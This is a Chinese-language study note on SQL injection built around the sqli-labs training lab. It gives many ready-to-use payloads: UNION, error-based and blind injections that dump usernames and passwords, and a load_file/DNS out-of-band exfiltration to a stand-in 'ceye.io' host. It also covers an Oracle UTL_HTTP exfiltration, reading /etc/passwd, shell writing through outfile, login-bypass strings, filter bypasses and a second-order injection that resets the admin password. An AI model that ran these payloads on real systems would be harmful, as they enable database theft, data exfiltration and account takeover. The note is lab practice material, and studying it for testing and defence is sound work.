SQL注入相关(配合sqli-labs)
基础总结+sqli-lab,lab过程偏向白盒,省略黑盒探测过程
数据库相关
分类
- 关系型数据库
表格存储,表和表间关系构成数据库,例如MySQL、SQLServer。
- 非关系型数据库
有Key-Value存储数据库、列存储数据库、文档型数据库、图形存储数据库。
例如:
键值数据库:Redis、Memcached
文档数据库:MongoDB
图形数据库:Neo4j
基础操作
# 查看数据库
show databases;
# 使用数据库
use mysql;
# 查看当前数据库
select database();
# 查看数据表
show tables;
# 查看数据库版本
select version();
# 查看当前数据库用户
select user();
# 查看数据库路径
select @@datadir;
# 查看安装路径
select @@basedir;
# 查看系统类型
select @@version_compile_os;
MySQL元数据-information_schema
该数据库存储MySQL 服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表的数据类型与访问权限等。
该库中有以下三个表:
- SCHEMATA
提供当前 MySQL 实例中所有数据库的信息。show databases;
的结果就是取之此表。
- TABLES
提供数据库中所有表的信息(包括视图)。
- COLUMNS
提供表中所有列信息。
查询数据表:
select table_name from information_schema.tables where table_schema='test';
查询数据列:
select column_name from information_schema.columns where table_name='table1';
SQL注入相关判断
种类
布尔型注入
联合查询注入
报错型注入
时间型注入
堆叠注入
判断注入类型
在进行手工注入前需要判断当前位置是字符型还是数字型。
- 数字型
一般可通过and 1=1
和and 1=2
判断。
使用运算符判断:
通过加、减、乘、除等运算,判断输入参数附近有没有引号包裹。
- 字符型
一般可通过and '1'='1
和and '1'='2
判断。
使用类型转换特性判断:
在MySQL中当数字与字符进行比较时,字符会被转为数字进行比较。
例如:
字符串1和数字1相等;字符串1a和数字1相等;字符串b和数字0相等。
- 综上
可根据上述方法做一个基本的判断,例如?id=2-1
,返回为空,表明不是数字型可能是字符型;访问?id=1a
,成功回显,表明是字符型。
判断数据库
基于报错判断
- MySQL
you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near…
- Access
Microsoft JET Database…
- MSSQL
Microsoft ODBC Database…
基于数据库标志
- MSSQL
select @@version;
- Oracle
select banner from v$version;
- MySQL
select @@version,version(),length(user)>0;
- PostgreSQL
select version();
基于数据库名
- MySQL:information_schema
- Access:mysysobjects
- Oracle:sys.user_tables
- MSSQL:sysobjects
基于数据库特有函数
-
MSSQL:@@pack_received、@@rowcount
-
MySQL:connection_id()、last_insert_id()、row_count()
-
Oracle:bitand(1,1)
-
PostgreSQL: select extract(doy from now())
-
MSSQL和MySQL中都可用substring,而Oracle中只能调用substr
…
基于字符串处理方式
MSSQL:'a'+'b'='ab'
MySQL:'a'+'b'='ab'、'ab'=concat('a','b')
Oracle:'a'+'b'='a'||'b'、'ab'=concat('a','b')
PostgreSQL:'ab'=concat('a','b')
…
基于特殊符号及注释
- Access:
null、%00
- MySQL:
#、--、/**/
- Oracle:
-- 、/**/
- MSSQL:
-- 、/**/
- Oracle中不支持多行查询,当存在
;
子句查询符会报错
UNION注入
原理
union用于将两个或多个select查询语句结果集合并
注意点:
使用union,select语句必须是相同数量的列
常见用法
-1'+UNION+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+
// 库名
union select 1,group_concat(schema_name),3 from information_schema.schemata
union select 1,(select schema_name from information_schema.schemata limit 0,1),3
// 表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
// 列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'
// 数据
union select 1,group_concat(id,email_id),3 from security.emails
// ???待。。。
?id=-1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3
**GROUP_CONCAT **
GROUP_CONCAT(expr) ——从 expr 中连接所有非 NULL 的字符串。如果没有非 NULL 的字符串,那么它就会返回 NULL
系统变量group_concat_max_len控制允许返回的最大字节长度,默认值为1M(>= MariaDB 10.2.4)或1K(<= MariaDB 10.2.3)
GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | expr}
[ASC | DESC] [,col_name ...]]
[SEPARATOR str_val])
SEPARATOR指定串联各值时使用的分隔符。默认分隔符为逗号(,)
CONCAT
将多个字符串连接为一个字符串,如果当中有一个NULL,返回结果即为NULL
显错注入
主要分类
- BigInt 等数据类型溢出
- Xpath 语法错误
- count() + rand() + group by 导致主键重复
- 空间数据类型函数错误
updatexml 和 extractvalue
MySQL版本>5.1添加了对XML文档修改和查询的函数updatexml 和 extractvalue,二者报错原理类似
updatexml() (返回替换的XML片段) 和 extractvalue()(使用XPath表示法从XML字符串中提取值)第二个参数需要传入的是 Xpath 格式的字符串。输入不符合,将参数值返回并报错。
报错长度最大为 32 位
常见用法
// 显示当前数据库
updatexml(1,CONCAT(0x7e, database()),1)
// 显示所有数据库
updatexml(1,CONCAT(0x7e,(select schema_name FROM INFORMATION_SCHEMA.SCHEMATA limit x,1), 0x7e),1)
// 获取表名
updatexml(1,CONCAT(0x7e,(select table_name from information_schema.tables where table_schema="sectest" limit x,1), 0x7e),1)
updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
// 获取列名
updatexml(1,CONCAT(0x7e,(select column_name from information_schema.COLUMNS where table_name="wp_user_" limit 1,1), 0x7e),1)
updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)
// 获取数据
updatexml(1,CONCAT(0x7e,(select username from wp_user_ limit 0,1), 0x7e),1)
updatexml(1,CONCAT(0x7e,(select password from wp_user_ where username="admin" limit 0,1), 0x7e),1)
updatexml(1,CONCAT(0x7e,(select GROUP_CONCAT(username, 0x3a, password) from wp_user_ where id=1), 0x7e),1)
updatexml(1,make_set(3,'~',(select data from users)),1)#
三要素显错注入
三要素原理分析
- floor(x) 返回<=x的最大整数
- rand(0) 在给了随机种子0之后,将产生固定伪随机序列
- floor(rand(0)*2) 最终产生的可预测伪随机序列是'011011…'
- 使用count(*) 和 group by统计数据,就是建立虚拟表,对每条记录计算统计键,无则插入,有则+1
- 当以foor(rand(0*2))为键使用group by 分组统计时:针对查询表第一条记录,插入前第1次计算值为0,查无此键,进行插入时第2次计算值为1,查无此键,插入即可,实际插入虚拟表的第一条记录键为1;针对查询表第二条记录,插入前第3次计算值为1,查有此键,则直接将count+1,不再进行插入时的计算;针对第三条记录,插入前第4次计算值为0,查无此键,进行插入时第5次计算值为1,查有此键,虚拟表主键唯一,无法插入报错!!!
核心其实就是固定的伪随机序列和多次计算
三要素(count、rand、group by)再加一个要素就是原始查询表记录至少为3条
注意点
在查询结果上再执行查询时,必须给定一个别名
limit 0,1 -> offset + 偏移量 表示最后返回的记录条数
https://blog.csdn.net/weixin_43803070/article/details/96448914
常见用法
1' and (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a)
1' and (select 1 from (select count(*),concat((select concat(username,',',password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
注意点:上述两个payload注出来的数据后跟着一个数字`1`,因为concat了一个`floor(rand(0)*2)`
其他特性利用
列名重复
原理
NAME_CONST可以制造一个列,利用列名重复报错
注意点
常根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没有比较好的利用方式。但利用这个特性加上join函数可以爆列名
常见用法
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'
//配合join获取列名
select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
select * from(select * from test a join test b using(id))c; //using(id) 等同于配合join使用的on
ERROR 1060 (42S21): Duplicate column name 'name' //两个test表必然每个列都重复,using了id列之后,就会继续报出第二列错
select * from(select * from test a join test b using(id,name))c; //报第三列列名
几何函数
原理
mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
????报错原理有待考究
注意点
在版本号为5.5.47上可以用来注入,而在5.7.17上则不行
常见用法
5.5.47 //可行
1' and (select multipoint((select * from (select * from (select version())a)b)))
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17 //失效
1' and (select multipoint((select * from (select * from (select version())a)b)))
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing
exp()等函数
原理
MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误;
当用 ~
运算符按位取反的方式得到一个最大值,该运算符可以处理一个字符串,经过其处理的字符串会变成一个很大整数其足以超过 MySQL 的 Double 数组范围,从而报错输出
注意点
使用版本:MySQL5.5.5 及以上版本
常见用法
1' and (select exp(~(select * from(select version())x)))
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'
1' and (select exp(~(select * from(select user())x)))
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
1' and (select exp(~(select * from(select database())x)))
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'
//读取文件(13行限制)
1' and (select exp(~(select * from(select load_file('/etc/passwd'))x)))
//dump当前上下文中所有的tables和columns 注意:因为是当前上下文,所以单引号前条件得存在,正确
1' and (select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)))
CTF demo
注意点
需要嵌套才能报错回显的原因(个人理解):
mysql报错回显(几何函数、exp()等函数)一般报错返回的是列名相关,不嵌套就正常返回列名,比如
select version(); //其返回结果集的列名即为version()
而在报错回显机制种,一旦嵌套就会详细返回列名中包含的执行语句(MySQL本身报错机制???),比如
select exp(~(select * from(select version())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))' //"select '5.5.29' from dual"即为列名
bool盲注 & 时间型盲注
盲注用在不知道数据库返回值的情况下对数据内容进行猜测
盲注适用场景:无法直接回显获取执行结果,只能根据返回状态判断
bool型:返回 True 和 False 两种状态页面,根据页面返回不同,猜解数据
时间型:通过注入能够造成延时的特定语句,根据页面的物理反馈,来判断是否注入成功,如:在 SQL 语句中使用 sleep() 函数看加载网页的时间来判断注入点
常用函数
编码转换函数
ord()、ascii() :将字符转为ascii码
char():将ascii码转为字符
条件判断函数
if(exp1, exp2, exp3)
select case when username=“admin” then sleep(1) else “error” end from user
截取函数
substr()
ubstr(str, pos, len) //从 pos 位置开始,截取字符串 str 的 len 长度
substr(str from pos for length) //可以用在过滤了,的情况
substring()
substring(str, pos, len) //从 pos 位置开始,截取字符串 str 的 len 长度
substring(str from pos for length)
mid()
mid(str, pos, length)
mid(str from pos for length)
注意点
以上含pos参数的函数中,pos从1开始
left() & right()
left(str, len)
right(str, len)
正则表达式
select * from user where password rlike "^1"
select * from user where password REGEXP "^1"
select * from user where password REGEXP "^12"
延时函数
sleep(n) //挂起n秒
benchmark(count, sha(1)) //实行sha(1)函数count次数,从而延时
SELECT count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C; //笛卡尔积造成延时
select * from users where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) //用正则表达式匹配长字符制造延时
rpad(string, length, rpad_string) //rpad()函数将一个字符串string用另一个字符串rpad_string在右侧填充到一定长度length
其他函数
count()
length()
sqlmap检测各类注入
//union注入
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
//显错注入
--technique=E
//bool盲注
--technique=B
//时间型盲注
--technique=T
OOB注入
类别 | 注入类型 | 说明 |
---|---|---|
带内 | 报错、union | 直接回显数据 |
间接推断 | bool、时间盲注 | 非直接回显,根据状态间接判断 |
带外 | OOB | 通过其他信道获取数据 |
Out Of Band
带外通道技术(OOB)让攻击者能够利用其他信道获取非直接回显的漏洞。
带外通道技术通常需要让目标来生成TCP/UDP/ICMP 请求并带有敏感数据,攻击者可以通过这接收和处理这个请求来提取想要的数据。
前提:
- 防火墙允许出站
示意图:
OOB注入利用原理
Windows中的UNC路径
比如Windows中访问共享文件时就会用到如下网络地址,这就是UNC路径:
\\192.168.33.33\haha\
要想带出数据还是要靠DNSLog。
load_file函数是用来读取文件内容,读取成功会返回文件内容的字符串,失败返回null。
利用方法:
select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.xxx.ceye.io\\aa'))
# 通过concat函数将查询结果与域名拼接形成UNC路径,调用load_file函数对UNC路径发起请求,因此成功发起DNS请求将数据外带
load_file函数使用注意
该函数使用受 secure_file_priv 的限制,如果secure_file_priv 值为null或其他特定目录,则无法构造任意UNC路径进行利用
大文本传输技巧
域名长度限制:
- 域名由标签组成,以
.
分割,标签的长度不可以超过 63 个字符 - 整个域名不可以超过 253 个字符,包括
.
绕过限制思路:
- load_file读取内容
- substr对文本内容切片
- to_base64对切片后的内容编码
select concat(to_base64(substr(load_file("xxx"),1,10)), ".xxx.ceye.io\\a") as result
Oracle数据库利用OOB的技巧
Oracle 数据库中存在发起 HTTP 请求的函数 UTL_HTTP.request,它的返回类型是长度为 2000 或更短的字符串。
UTL_HTTP.request(url, proxy)
通过注入执行下列SQL语句:
select UTL_HTTP.request('http://ip/xxx.php'||'?id='||(select version from v$instance)) from dual;
在xxx.php中接收id参数。
SQL注入——命令执行
- dumpfile函数写shell
- udf执行命令
- sqlmap –os-shell(本质还是webshell)
sqli-lab
Less-1
拼接点 | 可用注入类型 |
---|---|
SELECT * FROM users WHERE id='$id' LIMIT 0,1 | UNION、显错、bool盲、延时盲 |
Less-2
拼接点 | 可用注入类型 |
---|---|
SELECT * FROM users WHERE id=$id LIMIT 0,1 | UNION、显错、bool盲、延时盲 |
与Less-1利用方式一致,闭合时候不同
Less-3
拼接点 | 可用注入类型 |
---|---|
SELECT * FROM users WHERE id=('$id') LIMIT 0,1 | UNION、显错、bool盲、延时盲 |
与Less-1利用方式一致,闭合时候不同
Less-4
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
拼接点 | 可用注入类型 |
---|---|
双引号+单括号 | UNION、显错、bool盲、延时盲 |
Less-5
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
打印 'You are in ...';
else:
print_r(mysql_error());
拼接点 | 可用注入类型 |
---|---|
单引号 | 显错、bool盲、延时盲 |
缺少回显机制,但可以依靠盲注和显错
Less-6
拼接点 | 可用注入类型 |
---|---|
双引号 | 显错、bool盲、延时盲 |
缺少回显机制,可以依靠盲注和显错
Less-7
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
if true:
打印 'You are in.... Use outfile......';
else:
//print_r(mysql_error());
拼接点 | 可用注入类型 |
---|---|
单引号+双括号 | 显错、bool盲、延时盲 |
缺少回显机制和报错机制,只能依靠盲注
into outfile
写敏感信息
前提是要知道网站根目录路径,确保写入后可以访问到
一开始是写不进去,因为网站用户对根目录下没有写权限,尝试更改权限后成功写入
写shell
Less-8
拼接点 | 可用注入类型 |
---|---|
单引号 | bool盲、延时盲 |
同Less-7
Less-9
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
打印 'You are in....';
else:
打印 'You are in....';
拼接点 | 可用注入类型 |
---|---|
单引号 | 延时盲 |
无论true或false,全都打印同一字符串,无法bool盲注,只能延时盲注
Less-10
拼接点 | 可用注入类型 |
---|---|
双引号 | 延时盲 |
同Less-9
Less-11
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
打印结果
else:
print_r(mysql_error());
拼接点 | 可用注入类型 |
---|---|
POST-单引号 | UNION、显错、bool盲、延时盲 |
万能密码
uname=admin'--+&passwd=
uname=admin'#&passwd=
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
注意
POST注入最好走bp
Less-12
拼接点 | 可用注入类型 |
---|---|
POST-双引号+单括号 | UNION、显错、bool盲、延时盲 |
与Less-11一致
Less-13
拼接点 | 可用注入类型 |
---|---|
POST-单引号+单括号 | 显错、bool盲、延时盲 |
不回显查询结果,除了union其他都可
Less-14
拼接点 | 可用注入类型 |
---|---|
POST-双引号 | 显错、bool盲、延时盲 |
不回显查询结果,除了union其他都可
Less-15
拼接点 | 可用注入类型 |
---|---|
POST-单引号 | bool盲、延时盲 |
不回显查询结果,不报错
Less-16
拼接点 | 可用注入类型 |
---|---|
POST-双引号+单括号 | bool盲、延时盲 |
不回显查询结果,不报错
Less-17
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 语句有结果:
$update="UPDATE users SET password = '$passwd' WHERE username='$uname'";
if mysql报错:
print_r(mysql_error());
拼接点 | 可用注入类型 |
---|---|
POST-单括号 | 显错、bool盲、延时盲 |
uname参数被过滤,只能考虑给一个正确的uname值进入分支,对update语句进行注入
无数据回显
Less-18
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if select 语句有结果:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
拼接点 | 可用注入类型 |
---|---|
POST-单括号 | 显错、bool盲、延时盲 |
该注入类型为insert注入,首先需要给一个正确的用户名、密码进入分析,对insert语句进行注入
insert注入必须要闭合后面语句
如下:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,(select user()),0x7e),1),"1","1")--+
Less-19
拼接点 | 可用注入类型 |
---|---|
POST-单括号 | 显错、bool盲、延时盲 |
类似18,注入点在referer头
Less-20
if cookie中没有uname参数:
输出登录信息;
if 提交uname和passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有返回结果:
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if 没有提交submit参数:
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 没有返回结果:
输出 mysql_error();
if 有返回结果:
回显查询结果;
else:
setcookie('uname', $row1['username'], time()-3600); //通过把失效日期设置为过去的日期/时间,删除一个 cookie
拼接点 | 可用注入类型 |
---|---|
POST-单括号 | UNION、显错、bool盲、延时盲 |
cookie中uname参数没有过滤,有数据回显、有报错
sqlmap 带cookie注入用法
//UINION 其中 “-p 参数” 表示要测试的参数,这时--level失效;也可以使用'*'去标记参数
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin" -p "cookie" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
Less-21
代码逻辑和Less-20类似,只不过获取set cookie时用了base64编码,获取cookie值时再解码拼入sql语句
拼接点 | 可用注入类型 |
---|---|
POST-单括号+单括号 | UNION、显错、bool盲、延时盲 |
Less-22
类似Less-21
拼接点 | 可用注入类型 |
---|---|
POST-双引号 | UNION、显错、bool盲、延时盲 |
Less-23
$id=$_GET['id'];
//过滤了注释符
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
过滤注释后,就需要闭合原始sql语句
注意
UNION 注入使用from,在闭合原始语句时候需要引入where保证sql语句语法正确,例如:
-1' union select 1,group_concat(username,':',password),3 from security.users where 1 and ‘1’ = ‘1
Less-24(二次注入)
login_create.php
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "select count(*) from users where username='$username'";
if 查询结果不为0:
表明有用户存在,不可注册;
else:
if 两次输入密码一致:
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
重定向到登录页面;
else:
提示输入不一致;
login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if 查询有结果:
$_SESSION["username"] = 结果中的username值; //在session中设置username参数
重定向到已登录界面;
pass_change.php
if 未登录:
重定向到首页;
$username= $_SESSION["username"]; //从session中取出useranme值
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码输入一致:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
if 执行成功:
输出成功更新密码;
else:
重定向到错误页面;
分析
可看到基本上可进行直接注入的常规点都被转义过滤了,但是登录成功后,会从数据库中查询useranme值放入session;随后在pass_change页面更新密码语句存在注入点,且数据来源于从session取出来的值,也就是未过滤的值,因此存在二次注入
利用
注册用户名为 admin’#
登录之后随意填入当前密码,再填入修改后的密码,提交即可任意修改admin用户密码
Less-25
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
绕过
双写
or -> ||
and -> &&(get型中要url编码,否则歧义)
Less-25a
拼接点 | 可用注入类型 |
---|---|
直接拼 | UNION、bool盲、延时盲 |
与Less-25一致,拼接方式不同,不能报错
Less-26
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
绕过
针对空白符,可用如下方式替换绕过,本次使用/\s/匹配,所以用%0b和%a0才可绕过
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
Less-26a
拼接点 | 可用注入类型 |
---|---|
单引号+单括号 | UNION、bool盲、延时盲 |
与Less-26一致,拼接方式不同,不能报错
Less-27
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
绕过
本次只是简单过滤了空格,而不是空白符,所以%0a即可绕过空格限制
unioN
unIon
seLEct
等等
Less-27a
拼接点 | 可用注入类型 |
---|---|
双引号 | UNION、bool盲、延时盲 |
与Less-27一致,没有显错
Less-28
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
拼接点 | 可用注入类型 |
---|---|
单引号+单括号 | UNION、bool盲、延时盲 |
过滤了union空白符select
,可双写绕过,可替换空白符为%0b或%a0绕过
Less-28a
拼接点 | 可用注入类型 |
---|---|
单引号+单括号 | UNION、bool盲、延时盲 |
少了几个过滤规则,其余和Less-28一致
Less-29
index.php // 可以不用管,作者误放了应该
普通可注入页面
login.php
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function whitelist($input)
{
# 匹配数字
$match = preg_match("/^\d+$/", $input);
if 不是数字:
重定向到失败页面;
}
# HTTP 参数污染
function java_implimentation($query_string)
{
$q_s = $query_string;
# 以'&'为分隔符分割字符串
$qs_array= explode("&",$q_s);
# 遍历分割好的参数数组
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
# 如果前两位是id
if($val=="id")
{
# 从第3位开始,返回长度为30的字符穿
$id_value=substr($value,3,30);
return $id_value;
break;
}
}
}
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
分析
流程:服务端获取到查询字符串id=1&...
,随后截取参数id的值用于白名单过滤,如果匹配数字则继续执行,否则重定向到失败页面
但是问题出在以下:
- 用于sql查询的id值是通过GET方式获取的,该服务端默认认为从GET方式获取的id值与用于解析白名单过滤的id值是同一个
- 对于
xxx.php?id=1&id=2
这样的同名参数污染,apache PHP会解析获取最后一个参数值,即为2;tomcat JSP会解析获取到第一个参数值,即为1
因此,利用方式如下:?id=1&id=-1’ union…..
Less-30
拼接点 | 可用注入类型 |
---|---|
双引号 | UNION、显错、bool盲、延时盲 |
与Less-29一致
Less-31
拼接点 | 可用注入类型 |
---|---|
双引号+单括号 | UNION、显错、bool盲、延时盲 |
与Less-29一致
Less-32
function check_addslashes($string)
{
# 转义\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
# 转义单引号
$string = preg_replace('/\'/i', '\\\'', $string);
# 转义双引号
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
绕过
使用 GBK 编码MySQL会认为两个字节为一个汉字,例如 %aa%5e
即为一个 汉字
由于转义是在敏感字符前加\
,\'
即%5c%27,那可以在\'
前加上%df,转义后结果为:%df\\\'
,这样MySQL使用GBK会认为%df%5c为一个汉字,即为汉字\\'
,则汉字后的两个反斜杠实际在送往sql语句时表示的仅仅只是一个单纯的反斜杠,不再具有转义作用,此时单引号便起到了闭合作用
Less-33
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
转义方法与Less-32类似
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
绕过方式与Less-32一致
补充
gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary
原理
MySQL编码机制
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
character_set_client:用户告诉MySQL查询是用的什么字符集。 character_set_connection:MySQL接收到用户查询后,按照character_set_client将其转化为character_set_connection设定的字符集 character_set_results:MySQL将存储的数据转换成character_set_results所设定的字符集发送给用户
完整可理解为:MySQL接受到客户端的数据后,会认为他的编码是character_set_client,然后会将换成character_set_connection的编码,然后在进入具体表和字段后,再转换成字段对应的编码,当查询结果产生后,会从表和字段编码转换成character_set_results编码,返回给客户端
Less-34
拼接点 | 可用注入类型 |
---|---|
POST-单引号 | UNION、显错、bool盲、延时盲 |
与Less-33类似
Less-35
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
拼接点 | 可用注入类型 |
---|---|
直接拼接 | UNION、显错、bool盲、延时盲 |
虽然有转义过滤,但是sql语句是直接拼接,所以不需要引号闭合等
Less-36
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲 |
与Less-33的过滤方式类似,绕过方法类似
Less-37
拼接点 | 可用注入类型 |
---|---|
POST-单引号 | UNION、显错、bool盲、延时盲 |
与Less-36类似
Less-38(堆叠注入)
堆叠
多条语句一起执行
原理
MySQL 中,主要是命令行中,每条语句结尾加 ;
表示语句结束。这样可以考虑闭合已有语句,从而执行多条 SQL 语句
注意
UNION 执行的语句类型是有限的—查询语句;而堆叠注入可以执行任意语句
并不是每一个环境下都可以执行堆叠,很可能受 API 、数据库引擎不支持、权限不足的限制
